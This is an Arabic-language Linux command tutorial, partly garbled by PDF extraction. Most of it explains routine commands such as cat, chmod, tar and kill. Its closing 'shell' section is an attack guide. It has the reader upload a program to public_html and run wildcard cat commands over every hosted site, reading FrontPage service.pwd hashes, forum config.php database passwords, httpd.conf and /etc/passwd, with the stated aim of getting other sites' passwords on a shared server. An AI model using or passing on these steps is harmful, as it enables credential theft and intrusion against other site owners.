‫بسم ال الرحمن الرحيم‬

‫سوف نتعلم بعض اوامر لينكس الهامة وشرح لهذه الوامر‬

‫‪DR.DERMANN‬‬
‫‪DRDERMANN@HOTMAIL.COM‬‬
‫واهم أوامر‬
‫‪cat .1‬‬

‫‪cd .2‬‬

‫‪cp .3‬‬

‫‪find .4‬‬

‫‪grep .5‬‬

‫‪rm .6‬‬

‫‪tar .7‬‬

‫‪vi .8‬‬

‫‪ls .9‬‬

‫‪more .10‬‬

‫‪DR.DERMANN‬‬

‫نبداء بشرح الوامر‬
‫(‪ ).‬المر نقطه ‪:‬‬
‫تنفيذ جميع الوامر الموجودة بملف‬
‫مثال لكتابة المر (‪)home .‬‬

‫(&)‬
‫المر & إذا قمت بكتابة المر بعد يقوم بتشغيل البرنامج أو تنفيذ المر في الخلفية ‪background‬‬
‫مثال عليه برنامج جون ‪&john‬‬

‫( ‪)adduser‬‬
‫طبعا لزم تكون روت ( ‪ )root‬واضح من اسم المر لضافة مستخدمين جدد‬
‫مثال ‪adduser DRDERMANN :‬‬

‫( ‪)alias‬‬
‫يستخدم المر لنشاء اختصارات للوامر‬
‫(ما فهمت المر إلى ألن ول عطيتكم مثال عليه )‬

‫( ‪)apropos‬‬
‫يقوم بالبحث بصفحات ‪ man‬وما يقوم به هو البحث عن نص معين أو كلمه معينه مثل البحث بملف‬
‫بالورد فبمايكروسوفت اوفيس‬

‫‪DR.DERMANN‬‬

‫(( ‪banner‬‬
‫يقوم بإظهار لفتة نصيه‬
‫( ‪)bg‬‬
‫يستخدم المر لتشغيل عمليه قمت بتعطيلها بالخلفية ‪.‬‬
‫مثال‪:‬‬
‫شغل برنامج جون بالخلفية‬
‫‪&John‬‬
‫البرنامج شغال معك بالخلفية الحين‬
‫تعطله أو تعلقه موقت طبعا تستخدم المر ‪bg‬‬
‫تعليق البرنامج إلي بالخلفية‬
‫‪Ctrl+Z‬‬
‫والوقت أيلي تبغي تشغله فيه بالخلفية اكتب المر ‪bg‬‬

‫( ‪)bind‬‬
‫ما توقع أحد يحتاجه يقوم المر بتغير سلوك المفاتيح‬

‫‪DR.DERMANN‬‬

‫( ‪)cat‬‬
‫يقوم المر بعرض محتويات ملف معين‬
‫مثال واحد أرسلك سير فر تقدر تعرف محتويات السير فر وبيناته بالمر‬
‫طريقة كتابته ‪:‬‬

‫‪Cat filename‬‬

‫( ‪)cd‬‬
‫اختصار عبارة ‪ change directory‬يعني تغير الدليل‬
‫باختصار النتقال بين الملفات‬
‫‪ Cd file name‬بغيرك لملف ألي تبغا على طول‬
‫‪ ..Cd .. or cd‬ترجعك للملف الي قبله‬
‫‪ ~Cd or cd‬ترجعك للملف الرئيسي ‪home‬‬

‫( ‪)chgrp‬‬
‫يستخدم لتغير مجموعه بصلحية الملفات‬
‫‪Chgrp new group file‬‬

‫( ‪) chmod‬‬
‫يستخدم المر لتغير الصلحيات وهناك طريقتين للتغير أما حرفي أو رقمي‬
‫بس في شرح بسيط لستخدام المر‬

‫‪DR.DERMANN‬‬

‫لمنح المستخدم و المجموعة خاصية قراءة وتنفيذ مثل نكتب المر كذا‬
‫‪Chmod ug+rx user‬‬
‫للغاء الخاصية‬
‫‪Chmod ug- rx user‬‬
‫ل حظو الفرق بالمر (‪) - \ +‬‬
‫طبعا هذا اهم شي بالمر‬

‫( ‪) chown‬‬
‫يستخدم المر لتغير معرف المستخدم‬
‫طريقة آلم‬
‫‪Chown user filename‬‬
‫طبعا ما فهمت المر مضبوط أنا بس أيلي فهمته انه يخلي اليوزر أيلي تحدد اسمه بالملف قادر على‬
‫انه يتصفح ملفاتك‬
‫( ‪)cp‬‬
‫اختصار كلمة ‪ copy‬يسمح المر بنسخ الغلاض أو الملفات‬

‫( ‪)dd‬‬
‫نسخ الملفات وتحويلها من صيغه ألي أخرى‬

‫‪DR.DERMANN‬‬

‫( ‪) env‬‬
‫عرض المتحولت وينتج عن تنفيذه مودين واحد يمين والثاني يسار‬
‫اسم المتحول على اليسار والقيمه حقته على اليمين‬

‫( ‪)fc‬‬
‫تحرير ملف تاريخ سطر الوامر ‪history file‬‬

‫(‪)fg‬‬
‫يسمح بتشغيل العمليات المعلقة مثل المر ‪bg‬‬
‫بس تقدر تستخدم المر في الخلفية أو في الواجهة‬

‫( ‪) file‬‬
‫‘طباعة نوع الملفات‬
‫( ‪)find‬‬
‫طبعا واضح من اسم المر ول يحتاج له شرح‬
‫طريقة تنفيذه كذا‬
‫‪Find .-name *.c –print‬‬
‫ببحث عن ملفات المكتوبة بلغة السي‬
‫( ‪) ftp‬‬
‫واضح أيضا أستخدم الف تي بي مثل الويندوز‬

‫‪DR.DERMANN‬‬

‫( ‪) grep‬‬
‫يقوم بالبحث عن نص معين في الملف ألي تحدده‬
‫‪Grep textfile‬‬

‫( ‪)gruff‬‬
‫المر هذا عبارة عن واجهه لتنسيق الوثاق أو الملفات‬
‫( ‪)gzip‬‬
‫برنامج ضغط‬
‫تنفيذه ‪gzip filename‬‬

‫( ‪)gunzip‬‬
‫فك ضغط ملفات ‪gzip‬‬
‫تنفيذه ‪gunzip‬‬

‫( ‪)halt‬‬
‫يطلب المر من الكير نيل إيقاف عمل النظام طبعا ألي يستخدمه المستخدم الرووت فقط‬
‫( ‪) hostname‬‬
‫اسم المضيف او تعين اسم لمضيف الجهاز‬
‫( ‪)kill‬‬
‫انهاء عمل برنامج‬
‫طريقة تنفيذه‬
‫‪Kill -9 un‬‬
‫‪ Un‬رقم العملية‬

‫‪DR.DERMANN‬‬

‫( ‪) less‬‬
‫مستعرض صفحات‬
‫( ‪)locate‬‬

‫‪Locate filename‬‬

‫‪Login‬‬
‫لدخول النظام‬

‫‪Logout‬‬
‫يستخدم لخروج المستخدم الحالي‬

‫‪Killall‬‬
‫لنهاء مل جميع العمليات‬

‫( ‪) ps‬‬
‫يعطيك رقم العملية إذا كنت بتتخدم المر ‪kill‬‬
‫وتلغي عمليه وحده‬

‫( ‪) lpc‬‬
‫للتحكم بعمل نظام الطابعات‬

‫‪DR.DERMANN‬‬

‫( ‪) lpd‬‬
‫ل استقبال طلبات طباعة الملفات‬

‫( ‪)lpq‬‬
‫يقوم المر بتفحص منطقة التحضير للطباعة‬

‫( ‪}lpr‬‬
‫يقوم المر بالتحضير للطباعة‬

‫( ‪)ls‬‬
‫يعرض المر قائمة بمحتويات ملف معين‬

‫( ‪)make‬‬
‫تحديد أجزاء البرامج الكبيرة وتستخدمه إذا كنت تبغي تركب برنامج‬
‫‪Make‬‬

‫‪Su‬‬

‫‪Make install‬‬

‫( ‪) man‬‬
‫عرض ملفات التشغيل أو الهلب‬

‫‪DR.DERMANN‬‬

‫( ‪) mesg‬‬
‫للتحكم بصلحيات الكتابة الممنوحة لباقي المستخدمين‬

‫( ‪)mkdir‬‬
‫إنشاء ملف‬

‫( ‪)mkfs‬‬
‫لبناء نظام ملفات جديد على الهارد ديسك‬
‫( ‪)mkswaop‬‬
‫إعادة منطقة الخاصة بلينكس‬
‫( ‪) more‬‬
‫مرشح الستعراض صفحات النصوص‬
‫( ‪) mount‬‬
‫لربط نظام ملفات معين بلينكس مثل الويندوز‬

‫( ‪) mv‬‬
‫لنقل ملف معين من موقع ألي أخر‬
‫‪DR.DERMANN‬‬

‫( ‪) netstat‬‬
‫يعرض اتصالت الشبكة‬

‫( ‪) passwd‬‬
‫لتغير كلمة المرور الحالية‬

‫( ‪) pwd‬‬
‫عرض الملف ألي أنت متواجد فيه‬

‫( ‪) rm‬‬
‫حذف ملف‬
‫‪Rm file name‬‬

‫( ‪)rmdir‬‬
‫حذف ملف‬

‫‪DR.DERMANN‬‬

‫( ‪) set‬‬
‫تغير المتحولت بشكل مؤقت‬

‫( ‪) shutdown‬‬
‫إيقاف عمل النظام‬
‫‪Shutdown now‬‬

‫( ‪) su‬‬
‫يطلب منك باسورد لتغير حالتك من مستخدم عادي الى روت‬

‫( ‪)swapoff‬‬
‫يوقف التبادل مع أي جهاز أخر‬

‫( ‪) swapon‬‬
‫عكس لمر السابق‬

‫‪DR.DERMANN‬‬

‫( ‪) tail‬‬
‫يطبع المر أخر عشر اسطر من ملف معين‬

‫( ‪) talk‬‬
‫لجراء حوار مع مستخدم أخر‬

‫( ‪) tar‬‬
‫برنامج لرشفة الملفات‬

‫( ‪) telnet‬‬
‫التصال بجهاز أخر‬

‫( ‪) top‬‬
‫العمليات التي يجرى تشغيلها على الجهاز‬

‫‪Umount‬‬
‫ل إلغاء تركيب أل نظمه‬
‫‪DR.DERMANN‬‬

‫( ‪)unalias‬‬
‫إلغاء اللقاب‬

‫( ‪) unzip‬‬
‫يقوم بعرض الملفات المضغوطة في ملف مضغوط‬

‫( ‪) userdel‬‬
‫حذف مستخدم‬

‫( ‪) wall‬‬
‫عرض محتويات الدخل النظامي وعرض أعمالهم‬

‫( ‪) who‬‬
‫عرض المتواجدون بالنظام ونوع دخولهم يعني بال اف تي بي أو الشل‬

‫‪DR.DERMANN‬‬

‫( ‪)write‬‬
‫إرسال رسالة ألي شاشة المستخدم الخر‬

‫( ‪) xhost‬‬
‫يقدم وسيله للتحكم بالبرامج ألي تتوصل بالجهاز‬
‫نوع البرنامج ‪+ Xhost‬‬
‫أو‬
‫نوع النظام ‪-Xhost‬‬

‫( ‪)xmkmf‬‬
‫ويستخدم لنشاء ملفات ‪lmakefile‬‬

‫( ‪) xset‬‬
‫لتعيين بعض الخيارات الخاصة ‪x window‬‬

‫( ‪) zip‬‬
‫عرض محتويات ملف أرشيف وإضافة الملفات أليه‬
‫( ‪) gcc‬‬
‫لعمل كومبايل لملفات السي‬

‫‪DR.DERMANN‬‬

‫( ‪) wget‬‬
‫جلب الملفات‬

‫شرح اخر لوامر الشل‬

‫المر‬
‫وظيفة المر‬

‫‪ls‬‬
‫استعراض الملفات والمجلدات‬

‫‪Ls -la‬‬
‫استعراض جميع الملفات على المجلد الذي انته بداخله من صلحيات‬
‫المجلد ووقت انشاء الملفات ‪ +‬اظهار الملفات المخفيه‬

‫‪mkdir‬‬
‫‪DR.DERMANN‬‬

‫انشاء مجلد جديد‬

‫‪man‬‬
‫أمر المساعدة‬

‫‪help‬‬
‫ايضاا امر مساعده‬

‫‪edit‬‬
‫أمر التعديل‬

‫‪who‬‬
‫أمر المتصلين على السيرفر‬

‫‪cd‬‬
‫امر الدخول الى المجلدات‬

‫‪rm‬‬
‫امر الحذف‬

‫‪rm -rf‬‬

‫‪DR.DERMANN‬‬

‫مسح مجلد ويلي فيه‬

‫‪qzip‬‬
‫أمر ضغط الملفات‬

‫‪unzip‬‬
‫أمر فك الضغط‬

‫‪tar -czvf‬‬
‫امر ضغط اخر‬

‫‪tar -zxvf‬‬
‫فك ضغط المر يلي قبله‬

‫‪uname -a‬‬
‫معرفه اصدار الكيرنال للسيرفر ونوعيه النظام‬

‫‪wget‬‬
‫أمر سحب الملفات للموقع‬

‫‪DR.DERMANN‬‬

‫‪curl‬‬
‫أمر السحب الثاني‬

‫*‬
‫ترمز النجمه للكل‬

‫‪pwd‬‬
‫تحديد مكانك على السيرفر‬

‫‪chmod‬‬
‫اعطاء التصاريح‬

‫;‬
‫ربط الوامر‬

‫‪/.‬‬
‫امر تشغيل أي ملف في بيئه لينكس‬

‫‪logout‬‬
‫لعلن الخروج من النظام‬

‫‪DR.DERMANN‬‬

‫‪su‬‬
‫الدخول الى الرووت وهوه اختصار ‪SuperUser‬‬

‫&‬
‫امر عمل البرنامج المحدد في الخلفيه‬
‫المر‬
‫وظيفه المر‬

‫‪adduser‬‬
‫ستعمل هذا المر لنشا ء حساب مستخدم جديد‬

‫‪cp‬‬
‫نسخ ملفات‬

‫‪mv‬‬
‫اعاده تسميه‬

‫‪mv‬‬

‫‪DR.DERMANN‬‬

‫تستخدم ايضاا بنقل الملفات مثلا‬

‫‪mv filename.tar.gz /home / user / p u blic_html‬‬

‫‪ps -aux‬‬
‫تشيك البروسيسور‬

‫‪touch‬‬
‫لنشاء نصوص‬

‫‪find‬‬
‫للبحث عن ملفات‬

‫‪locate‬‬
‫امر ايضاا للبخث وهوه اسرع من المر السابق‬

‫‪gcc‬‬
‫اداه لترجمه النصوص البرمجيه وتستخدم في الكومبايل للثغرات يلي مكتوبه بلغه السي‬

‫‪++G‬‬
‫‪DR.DERMANN‬‬

‫اداه اخرى لترجمه النصوص المكتوبه بلغه السي بلس بلس‬

‫‪whoami‬‬
‫لعرض المتصلين بالسيرفر‬

‫‪crypt‬‬
‫لتشفير و فك تشفير الملفات‬

‫‪cu‬‬
‫لطلب تريمنال يونكس اخر‬

‫‪echo‬‬
‫امر طباعه‬

‫‪grep‬‬
‫يستخدم للبحث عن شي داخل ملف‬

‫‪kill‬‬

‫‪DR.DERMANN‬‬

‫لنهاء عمليه‬

‫‪pstat‬‬
‫لعرض حالة النظام‬

‫((اوامر اخرى عامه))‬

‫‪cat‬‬
‫لعرض محتوى اكثر من ملف مع بعض‬

‫‪cd‬‬
‫لتغير الدليل الذي انت عليه‬

‫‪chmod‬‬
‫لتغير تصريح دخلول ملف معين‬

‫‪chown‬‬
‫لتغير مالك ملف معين‬

‫‪clear‬‬
‫لمسح كل الذي على الشاشة‬

‫‪DR.DERMANN‬‬

‫‪cmp‬‬
‫لمقارنة ملفين‬

‫‪cp‬‬
‫لنسخ الملفات‬

‫‪crypt‬‬
‫لتشفير و فك تشفير الملفات‬

‫‪csplit‬‬
‫لتقسيم الملف الى عدة ملفات‬

‫‪file‬‬
‫للتقرير عن نوع ملف‬

‫‪find‬‬
‫‪DR.DERMANN‬‬

‫للبحث عن ملفات‬

‫‪finger‬‬
‫تقرير عن مستخدم‬

‫‪grep‬‬
‫يستخدم للبحث عن شئ داخل ملف‬

‫‪kill‬‬

‫وهنا اشرح لكم اهم اوامر الشيل‬

‫‪cat /home /*/public_html/_vti_pvt/service.pwd‬‬
‫لجلب باسوردات المشفره ويوزر نيم‬

‫‪cat /home /*/public_html/_vti_pvt/access.cnf‬‬

‫‪DR.DERMANN‬‬

‫والثاني يوزر نيم والموقع‬

‫‪ls /var/named‬‬
‫وهو لستعراض المواقع علي الموجوده علي السيرفر‬

‫خاص لتشييك على البروسيسور‬

‫‪ps -aux‬‬

‫تعديل ملف‪.‬‬

‫مثل لتعديل الملف ضع المر‬

‫‪pico filename‬‬
‫‪ : filenamr‬اسم الملف المراد تعديله‬

‫سوف يفتح محرر النصوص‬

‫حرر ما ترغب به وأضغط‬
‫‪ctrl x‬‬
‫ثم أختر ‪ yes‬للحفظ ‪ no‬لعدم الحفظ‬
‫‪DR.DERMANN‬‬

‫سحب ملف‬

wget http:/ /www.domain.com /filename.zip

‫فتح مجلد‬

cd folder name
‫ ) اسم الملف‬folder name (
‫سحب مجلد‬

rm -rf folder

‫لنسخ ملفات‬
/cp -r /home / user1/p ublic_html/filename /home / user2/ p ublic_html
‫لنقل الملفات‬

mv filename.tar.gz /home / user / p u blic_html

‫لعمل باك من قاعدة‬

DR.DERMANN

mysqldump -u root -p --all-databases > alrudbs207.sql
‫ملكية الشخص‬

chown -R user /home / user
‫لستعراض ما بداخل المجلد‬

ls
‫لضغط‬

tar -czvf filename.tar.gz filename

‫أعطاء تصريح المرغوب به‬

chmod 644 file.tar.gz
‫لخراج المواقع اللى على السيرفر‬
cat /etc/httpd /conf /httpd.conf
‫المر‬
cat /home /*/public_html/_vti_pvt/service.pwd
‫أمر جلب باسوردات المواقع التي تستخدم الفرونت بيج‬

‫المر‬

cat /home /*/public_html/_vti_pvt/access.cnf
DR.DERMANN

‫أمر معرفة أسامي المواقع التي تستخدم الفرونت بيج‬

‫المر‬
‫‪cat /home /*/public_html/*/admin /config.php‬‬

‫‪cat /home /*/public_html/*/admincp /config.php‬‬

‫أمر عرض ملفات الــ ‪ config.php‬للبرامج المثبته على المواقع مثل‬

‫المنتديات والمجلت وغيرها ممن تستخدم ملفات الــ ‪config‬‬

‫أمر‬
‫‪cat /etc/domainalias‬‬
‫عرض المواقع مع أسامي المستخدمين‬
‫أمر‬

‫‪find / -name config.php‬‬

‫البحث عن جميع الملفات التي إسمها ‪config.php‬‬

‫وستطيع البحث في هذا المر عن أي ملف تريد‬
‫أمر‬
‫‪DR.DERMANN‬‬

‫‪cat /etc/passwd‬‬

‫يظهر جميع باسوردات المواقع التي على السيرفر‬
‫وإذا كان اللي ظهر لك بالطريقه هذي‬
‫‪carlos:vmYQDR1pWRVLE‬‬
‫معناها ان ‪ carlos‬إسم الموقع‬
‫وإن ‪ vmYQDR1pWRVLE‬هو الباسورد المشفر‬

‫أما إن طلع لك بالطريقه هذي‬

‫‪carlos:x‬‬
‫فمعنى الــ ‪ x‬ان الباسورد مخفي وما تقدر تشوفه‬
‫الن شرح للوامر التي ذكرناها‬
‫‪cat /home /*/public_html/*/admin /config.php‬‬
‫‪ cat‬أمر عرض ملفات دفعه واحده‬
‫‪ home‬المجلد الذي يوضع فيه المواقع‬
‫* مكان إسم الموقع واستبدلناه بالنجمه حتى يظهر لنا الجميع‬
‫‪ public_html‬المجلد الرئيسي الذي يوضع فيه ملفات المواقع‬

‫* إسم المجلد الذي يوضع فيه البرامج مثل المنتديات والمجلدات وغيرها‬

‫‪DR.DERMANN‬‬

‫واستبدلناه بالنجمة حتى يظهر الجميع‬
‫‪ admin‬إسم مجلد لوحة التحكم‬
‫‪ config.php‬الملف الذي يوضع فيه بيانات قاعدة البيانات‬
‫وباقي الوامر شرحها شبيه بالشرح هذا‬
‫مع العلم أن أسامي المجلدات من الممكن أن تكون مختلفه أو أن يتم تغييرها‬
‫ايهذه الطريقة يمكنك معرفه باسوورد قاعدة بيانات المنتديات في نفس السيرفر المستضيف لموقعك‬
‫من خلل ملفات الكونفجو ما عليك الن ان تحمل هذا البرنامج تقوم برفعه على مجلد ‪public- html‬‬
‫من هنا‬
‫ثم قم بكتابة احد هذه السطر في خانه الوامر‪.‬‬

‫‪cat /home /*/public_html/vb/ad min /config.php‬‬

‫‪cat /home /*/public_html/phpbb /c onfig.php‬‬

‫‪cat /home /*/public_html/forum / config.php‬‬

‫‪--------------------------------------------‬‬‫وايضا يمكنك التعديل عليها لتناسب مجلدات المنتديات حيث * تعني جميع ملفات هذا السيرفر‬

‫‪DR.DERMANN‬‬

‫التصريحات‬
400
--------r

444

--r--r--r
600
-------rw

644
--rw- r--r
664
--rw- rw- r
666
-rw- rw- rw
700
------rwx
750
---rwxr- x
755
rwxr- xr-x
777
rwxrwxrwx

DR.DERMANN

a = all

r = read

w = write

o = others

g = group

u = user

x = excute
‫ = اضافة صلحية‬+
‫ = سحب صلحية‬-

DR.DERMANN

Sign up to vote on this title
UsefulNot useful